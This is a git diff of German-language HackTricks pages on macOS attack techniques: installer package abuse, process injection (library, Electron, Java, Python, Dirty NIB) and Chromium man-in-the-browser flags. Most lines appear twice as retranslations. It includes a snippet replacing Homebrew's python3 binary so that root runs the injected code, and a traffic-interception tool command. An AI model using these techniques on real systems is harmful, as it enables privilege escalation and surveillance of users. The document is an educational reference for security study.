Wenn ein Installer nach `/tmp/fixedname/bla/bla` schreibt, ist es möglich, ein **Mount** über `/tmp/fixedname` ohne Besitzer zu erstellen, um während der Installation **beliebige Dateien zu modifizieren** und den Installationsprozess zu missbrauchen.
|
||||
|
||||
Wenn ein Installer in `/tmp/fixedname/bla/bla` schreibt, ist es möglich, einen **Mount** über `/tmp/fixedname` ohne Besitzer zu erstellen, sodass Sie während der Installation **beliebige Dateien ändern** können, um den Installationsprozess zu missbrauchen.
|
||||
|
||||
Ein Beispiel dafür ist **CVE-2021-26089**, bei dem es gelungen ist, ein periodisches Skript zu überschreiben, um als Root ausgeführt zu werden. Für weitere Informationen werfen Sie einen Blick auf den Vortrag: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
Ein Beispiel hierfür ist **CVE-2021-26089**, bei dem es gelungen ist, ein periodisches Skript zu überschreiben, um die Ausführung als Root zu erlangen. Für weitere Informationen siehe den Vortrag: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
|
||||
## pkg als Malware
|
||||
|
||||
### Leerer Payload
|
||||
|
||||
Es ist möglich, eine **`.pkg`**-Datei nur mit **vor- und nachinstallierten Skripten** ohne Payload zu generieren.
|
||||
Es ist möglich, einfach eine **`.pkg`**-Datei mit **Vor- und Nachinstallations-Skripten** ohne Payload zu generieren.
|
||||
|
||||
### JS in Distribution xml
|
||||
### JS in Distribution-XML
|
||||
|
||||
Es ist möglich, **`<script>`**-Tags in der **Distribution-XML**-Datei des Pakets hinzuzufügen, und dieser Code wird ausgeführt und kann Befehle mit **`system.run`** ausführen:
|
||||
Es ist möglich, **`<script>`**-Tags in der **Distribution-XML**-Datei des Pakets hinzuzufügen, und dieser Code wird ausgeführt, um Befehle mithilfe von **`system.run`** auszuführen:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [**DEF CON 27 - Unpacking Pkgs A Look Inside Macos Installer Packages And Common Security Flaws**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
|
||||
* [**OBTS v4.0: "The Wild World of macOS Installers" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
* [**DEF CON 27 - Entpacken von Pkgs Ein Blick in macOS-Installationspakete und häufige Sicherheitslücken**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
|
||||
* [**OBTS v4.0: "Die wilde Welt der macOS-Installer" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
|
||||
|
|
|
@ -2,33 +2,33 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## macOS Prozessmissbrauch
|
||||
## MacOS Prozessmissbrauch
|
||||
|
||||
MacOS bietet wie jedes andere Betriebssystem verschiedene Methoden und Mechanismen, um **Prozesse zu interagieren, zu kommunizieren und Daten auszutauschen**. Obwohl diese Techniken für eine effiziente Systemfunktion unerlässlich sind, können sie auch von Angreifern missbraucht werden, um **bösartige Aktivitäten** durchzuführen.
|
||||
MacOS bietet wie jedes andere Betriebssystem eine Vielzahl von Methoden und Mechanismen, damit **Prozesse interagieren, kommunizieren und Daten teilen** können. Obwohl diese Techniken für eine effiziente Systemfunktion unerlässlich sind, können sie auch von Angreifern missbraucht werden, um **bösartige Aktivitäten auszuführen**.
|
||||
|
||||
### Bibliotheksinjektion
|
||||
|
||||
Bei der Bibliotheksinjektion zwingt ein Angreifer einen Prozess, eine bösartige Bibliothek zu laden. Sobald sie injiziert ist, läuft die Bibliothek im Kontext des Zielprozesses und ermöglicht dem Angreifer die gleichen Berechtigungen und Zugriffe wie der Prozess.
|
||||
Bei der Bibliotheksinjektion handelt es sich um eine Technik, bei der ein Angreifer einen Prozess dazu zwingt, eine bösartige Bibliothek zu laden. Sobald injiziert, läuft die Bibliothek im Kontext des Zielprozesses und gewährt dem Angreifer die gleichen Berechtigungen und Zugriffsmöglichkeiten wie dem Prozess.
|
||||
|
||||
{% content-ref url="macos-library-injection/" %}
|
||||
[macos-library-injection](macos-library-injection/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Funktionen-Hooking
|
||||
### Funktionshaken
|
||||
|
||||
Beim Funktionen-Hooking werden Funktionsaufrufe oder Nachrichten innerhalb eines Softwarecodes **abgefangen**. Durch das Hooking von Funktionen kann ein Angreifer das Verhalten eines Prozesses **ändern**, sensible Daten beobachten oder sogar die Ausführungsreihenfolge kontrollieren.
|
||||
Beim Funktionshaken handelt es sich um das **Abfangen von Funktionsaufrufen** oder Nachrichten innerhalb eines Softwarecodes. Durch das Haken von Funktionen kann ein Angreifer das Verhalten eines Prozesses **ändern**, sensible Daten beobachten oder sogar die Kontrolle über den Ausführungsfluss übernehmen.
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
|
||||
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
|
||||
|
@ -36,7 +36,7 @@ Beim Funktionen-Hooking werden Funktionsaufrufe oder Nachrichten innerhalb eines
|
|||
|
||||
### Interprozesskommunikation
|
||||
|
||||
Die Interprozesskommunikation (IPC) bezieht sich auf verschiedene Methoden, mit denen separate Prozesse **Daten teilen und austauschen** können. Obwohl IPC für viele legitime Anwendungen grundlegend ist, kann es auch missbraucht werden, um die Prozessisolierung zu umgehen, sensible Informationen preiszugeben oder nicht autorisierte Aktionen durchzuführen.
|
||||
Die Interprozesskommunikation (IPC) bezieht sich auf verschiedene Methoden, mit denen separate Prozesse **Daten teilen und austauschen** können. Obwohl IPC für viele legitime Anwendungen grundlegend ist, kann sie auch missbraucht werden, um die Prozessisolierung zu umgehen, sensible Informationen preiszugeben oder nicht autorisierte Aktionen auszuführen.
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
|
@ -44,15 +44,23 @@ Die Interprozesskommunikation (IPC) bezieht sich auf verschiedene Methoden, mit
|
|||
|
||||
### Injektion von Electron-Anwendungen
|
||||
|
||||
Electron-Anwendungen, die mit bestimmten Umgebungsvariablen ausgeführt werden, können anfällig für Prozessinjektionen sein:
|
||||
Elektron-Anwendungen, die mit bestimmten Umgebungsvariablen ausgeführt werden, könnten anfällig für Prozessinjektionen sein:
|
||||
|
||||
{% content-ref url="macos-electron-applications-injection.md" %}
|
||||
[macos-electron-applications-injection.md](macos-electron-applications-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Chromium-Injektion
|
||||
|
||||
Es ist möglich, die Flags `--load-extension` und `--use-fake-ui-for-media-stream` zu verwenden, um einen **Man-in-the-Browser-Angriff** durchzuführen, der es ermöglicht, Tastenanschläge, Datenverkehr, Cookies zu stehlen, Skripte in Seiten einzufügen usw.:
|
||||
|
||||
{% content-ref url="macos-chromium-injection.md" %}
|
||||
[macos-chromium-injection.md](macos-chromium-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Dirty NIB
|
||||
|
||||
NIB-Dateien definieren Benutzeroberflächenelemente und deren Interaktionen innerhalb einer Anwendung. Sie können jedoch auch beliebige Befehle ausführen, und Gatekeeper verhindert nicht, dass eine bereits ausgeführte Anwendung ausgeführt wird, wenn eine NIB-Datei geändert wird. Daher können sie verwendet werden, um beliebige Programme beliebige Befehle ausführen zu lassen:
|
||||
NIB-Dateien **definieren Benutzeroberflächenelemente (UI)** und deren Interaktionen innerhalb einer Anwendung. Sie können jedoch **beliebige Befehle ausführen** und **Gatekeeper stoppt nicht**, wenn eine bereits ausgeführte Anwendung erneut ausgeführt wird, wenn eine **NIB-Datei geändert** wird. Daher könnten sie verwendet werden, um beliebige Programme beliebige Befehle ausführen zu lassen:
|
||||
|
||||
{% content-ref url="macos-dirty-nib.md" %}
|
||||
[macos-dirty-nib.md](macos-dirty-nib.md)
|
||||
|
@ -60,15 +68,15 @@ NIB-Dateien definieren Benutzeroberflächenelemente und deren Interaktionen inne
|
|||
|
||||
### Injektion von Java-Anwendungen
|
||||
|
||||
Es ist möglich, bestimmte Java-Funktionen (wie die Umgebungsvariable **`_JAVA_OPTS`**) zu missbrauchen, um eine Java-Anwendung beliebigen Code/Befehle ausführen zu lassen.
|
||||
Es ist möglich, bestimmte Java-Funktionen (wie die **`_JAVA_OPTS`**-Umgebungsvariable) zu missbrauchen, um eine Java-Anwendung **beliebigen Code/Befehle** ausführen zu lassen.
|
||||
|
||||
{% content-ref url="macos-java-apps-injection.md" %}
|
||||
[macos-java-apps-injection.md](macos-java-apps-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Injektion von .Net-Anwendungen
|
||||
### .Net-Anwendungen-Injektion
|
||||
|
||||
Es ist möglich, Code in .Net-Anwendungen einzufügen, indem die .Net-Debugging-Funktionen (die nicht durch macOS-Schutzmechanismen wie Laufzeitverhärtung geschützt sind) missbraucht werden.
|
||||
Es ist möglich, Code in .Net-Anwendungen einzuspritzen, indem die .Net-Debugging-Funktionalität missbraucht wird (nicht durch macOS-Schutzmechanismen wie Laufzeithärtung geschützt).
|
||||
|
||||
{% content-ref url="macos-.net-applications-injection.md" %}
|
||||
[macos-.net-applications-injection.md](macos-.net-applications-injection.md)
|
||||
|
@ -92,16 +100,16 @@ Es ist auch möglich, Ruby-Umgebungsvariablen zu missbrauchen, um beliebige Skri
|
|||
|
||||
### Python-Injektion
|
||||
|
||||
Wenn die Umgebungsvariable **`PYTHONINSPECT`** gesetzt ist, wechselt der Python-Prozess nach Abschluss in eine Python-CLI. Es ist auch möglich, **`PYTHONSTARTUP`** zu verwenden, um ein Python-Skript anzugeben, das am Anfang einer interaktiven Sitzung ausgeführt werden soll.\
|
||||
Wenn die Umgebungsvariable **`PYTHONINSPECT`** gesetzt ist, wird der Python-Prozess nach Abschluss in eine Python-CLI wechseln. Es ist auch möglich, **`PYTHONSTARTUP`** zu verwenden, um ein Python-Skript anzugeben, das am Anfang einer interaktiven Sitzung ausgeführt werden soll.\
|
||||
Beachten Sie jedoch, dass das **`PYTHONSTARTUP`**-Skript nicht ausgeführt wird, wenn **`PYTHONINSPECT`** die interaktive Sitzung erstellt.
|
||||
|
||||
Andere Umgebungsvariablen wie **`PYTHONPATH`** und **`PYTHONHOME`** können ebenfalls nützlich sein, um einen Python-Befehl beliebigen Code ausführen zu lassen.
|
||||
Andere Umgebungsvariablen wie **`PYTHONPATH`** und **`PYTHONHOME`** könnten ebenfalls nützlich sein, um einen Python-Befehl beliebigen Codes ausführen zu lassen.
|
||||
|
||||
Beachten Sie, dass ausführbare Dateien, die mit **`pyinstaller`** kompiliert wurden, diese Umgebungsvariablen nicht verwenden, auch wenn sie mit einem eingebetteten Python ausgeführt werden.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Insgesamt konnte ich keinen Weg finden, um Python dazu zu bringen, beliebigen Code unter Ausnutzung von Umgebungsvariablen auszuführen.\
|
||||
Die meisten Menschen installieren jedoch Python mit **Hombrew**, das Python an einem **beschreibbaren Speicherort** für den Standardadministrator installiert. Sie können es mit etwas wie folgt übernehmen:
|
||||
Insgesamt konnte ich keinen Weg finden, um Python dazu zu bringen, beliebigen Code durch den Missbrauch von Umgebungsvariablen auszuführen.\
|
||||
Die meisten Menschen installieren jedoch Python mit **Hombrew**, das Python an einem **beschreibbaren Speicherort** für den Standard-Admin-Benutzer installiert. Sie können es mit etwas wie folgendem übernehmen:
|
||||
```bash
|
||||
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
||||
cat > /opt/homebrew/bin/python3 <<EOF
|
||||
|
@ -121,15 +129,15 @@ Selbst **root** wird diesen Code ausführen, wenn Python ausgeführt wird.
|
|||
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) ist eine Open-Source-Anwendung, die **Prozessinjektionen erkennen und blockieren** kann:
|
||||
|
||||
* Verwendung von **Umgebungsvariablen**: Es überwacht das Vorhandensein der folgenden Umgebungsvariablen: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** und **`ELECTRON_RUN_AS_NODE`**
|
||||
* Verwendung von **`task_for_pid`**-Aufrufen: Um festzustellen, wann ein Prozess den **Task-Port eines anderen** erhalten möchte, um Code in den Prozess einzufügen.
|
||||
* **Electron-App-Parameter**: Jemand kann die Befehlszeilenargumente **`--inspect`**, **`--inspect-brk`** und **`--remote-debugging-port`** verwenden, um eine Electron-App im Debugging-Modus zu starten und somit Code einzufügen.
|
||||
* Verwendung von **Symbolischen Links** oder **Hardlinks**: Typischerweise besteht der häufigste Missbrauch darin, einen Link mit unseren Benutzerberechtigungen zu erstellen und ihn auf einen Ort mit höheren Berechtigungen zu verweisen. Die Erkennung ist sowohl für Hardlinks als auch für Symbolische Links sehr einfach. Wenn der Prozess, der den Link erstellt, ein **anderes Berechtigungsniveau** als die Zieldatei hat, wird ein **Alarm** ausgelöst. Leider ist eine Blockierung im Fall von Symbolischen Links nicht möglich, da wir vor der Erstellung keine Informationen über das Ziel des Links haben. Dies ist eine Einschränkung des Apple EndpointSecurity-Frameworks.
|
||||
* Verwendung von **`task_for_pid`**-Aufrufen: Um festzustellen, wenn ein Prozess den **Task-Port eines anderen** erhalten möchte, um Code in den Prozess einzuspritzen.
|
||||
* **Parameter von Electron-Apps**: Jemand kann die Befehlszeilenargumente **`--inspect`**, **`--inspect-brk`** und **`--remote-debugging-port`** verwenden, um eine Electron-App im Debugging-Modus zu starten und somit Code einzuspritzen.
|
||||
* Verwendung von **Symbolischen Links** oder **Hardlinks**: Typischerweise besteht der häufigste Missbrauch darin, einen Link mit unseren Benutzerberechtigungen zu platzieren und ihn auf einen Ort mit höheren Berechtigungen zu verweisen. Die Erkennung ist sowohl für Hardlinks als auch für Symbolische Links sehr einfach. Wenn der Prozess, der den Link erstellt, ein **unterschiedliches Berechtigungsniveau** als die Zieldatei hat, wird ein **Alarm** ausgelöst. Leider ist im Fall von Symbolischen Links eine Blockierung nicht möglich, da wir vor der Erstellung keine Informationen über das Ziel des Links haben. Dies ist eine Einschränkung des Apple EndpointSecuriy-Frameworks.
|
||||
|
||||
### Von anderen Prozessen ausgeführte Aufrufe
|
||||
|
||||
In [**diesem Blog-Beitrag**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) erfahren Sie, wie es möglich ist, die Funktion **`task_name_for_pid`** zu verwenden, um Informationen über andere **Prozesse abzurufen, die Code in einen Prozess injizieren**, und dann Informationen über diesen anderen Prozess zu erhalten.
|
||||
In [**diesem Blog-Beitrag**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) erfahren Sie, wie es möglich ist, die Funktion **`task_name_for_pid`** zu verwenden, um Informationen über andere **Prozesse, die Code in einen Prozess einspritzen**, zu erhalten und dann Informationen über diesen anderen Prozess zu erhalten.
|
||||
|
||||
Beachten Sie, dass Sie, um diese Funktion aufzurufen, **die gleiche UID** wie der Prozess haben müssen, der ausgeführt wird, oder **root** sein müssen (und sie gibt Informationen über den Prozess zurück, nicht eine Möglichkeit, Code einzufügen).
|
||||
Beachten Sie, dass zum Aufrufen dieser Funktion Sie **die gleiche UID** wie der Prozess, der ausgeführt wird, oder **root** sein müssen (und sie gibt Informationen über den Prozess zurück, nicht über eine Möglichkeit, Code einzuspritzen).
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
@ -138,14 +146,14 @@ Beachten Sie, dass Sie, um diese Funktion aufzurufen, **die gleiche UID** wie de
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder folgen Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,57 @@
|
|||
# macOS Chromium-Injektion
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Chromium-basierte Browser wie Google Chrome, Microsoft Edge, Brave und andere. Diese Browser basieren auf dem Open-Source-Projekt Chromium, was bedeutet, dass sie eine gemeinsame Basis teilen und daher ähnliche Funktionen und Entwickleroptionen haben.
|
||||
|
||||
#### `--load-extension` Flag
|
||||
|
||||
Das `--load-extension`-Flag wird verwendet, wenn ein Chromium-basierter Browser von der Befehlszeile oder einem Skript gestartet wird. Dieses Flag ermöglicht es, **automatisch eine oder mehrere Erweiterungen** beim Start des Browsers zu laden.
|
||||
|
||||
#### `--use-fake-ui-for-media-stream` Flag
|
||||
|
||||
Das `--use-fake-ui-for-media-stream`-Flag ist eine weitere Befehlszeilenoption, die zum Starten von Chromium-basierten Browsern verwendet werden kann. Dieses Flag ist dazu gedacht, **die normalen Benutzerabfragen zu umgehen, die um Erlaubnis zur Zugriff auf Mediendaten von Kamera und Mikrofon bitten**. Wenn dieses Flag verwendet wird, gewährt der Browser automatisch die Erlaubnis für jede Website oder Anwendung, die Zugriff auf Kamera oder Mikrofon anfordert.
|
||||
|
||||
### Tools
|
||||
|
||||
* [https://github.com/breakpointHQ/snoop](https://github.com/breakpointHQ/snoop)
|
||||
* [https://github.com/breakpointHQ/VOODOO](https://github.com/breakpointHQ/VOODOO)
|
||||
|
||||
### Beispiel
|
||||
```bash
|
||||
# Intercept traffic
|
||||
voodoo intercept -b chrome
|
||||
```
|
||||
Finden Sie weitere Beispiele in den Tools-Links
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://twitter.com/RonMasas/status/1758106347222995007](https://twitter.com/RonMasas/status/1758106347222995007)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
|
||||
|
||||
</details>
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
MIG wurde entwickelt, um den Prozess der Erstellung von Mach IPC-Code zu **vereinfachen**. Es generiert im Wesentlichen den benötigten Code, damit Server und Client gemäß einer gegebenen Definition kommunizieren können. Auch wenn der generierte Code hässlich ist, muss ein Entwickler ihn nur importieren und sein Code wird viel einfacher sein als zuvor.
|
||||
MIG wurde erstellt, um den Prozess der Mach IPC-Codeerstellung zu **vereinfachen**. Es generiert im Grunde genommen den benötigten Code, damit Server und Client gemäß einer bestimmten Definition kommunizieren können. Selbst wenn der generierte Code hässlich ist, muss ein Entwickler ihn nur importieren und sein Code wird viel einfacher sein als zuvor.
|
||||
|
||||
### Beispiel
|
||||
|
||||
Erstellen Sie eine Definition-Datei, in diesem Fall mit einer sehr einfachen Funktion:
|
||||
Erstellen Sie eine Definitionsdatei, in diesem Fall mit einer sehr einfachen Funktion:
|
||||
|
||||
{% code title="myipc.defs" %}
|
||||
```cpp
|
||||
|
@ -37,7 +37,7 @@ n2 : uint32_t);
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Verwenden Sie jetzt mig, um den Server- und Client-Code zu generieren, der in der Lage sein wird, miteinander zu kommunizieren, um die Subtract-Funktion aufzurufen:
|
||||
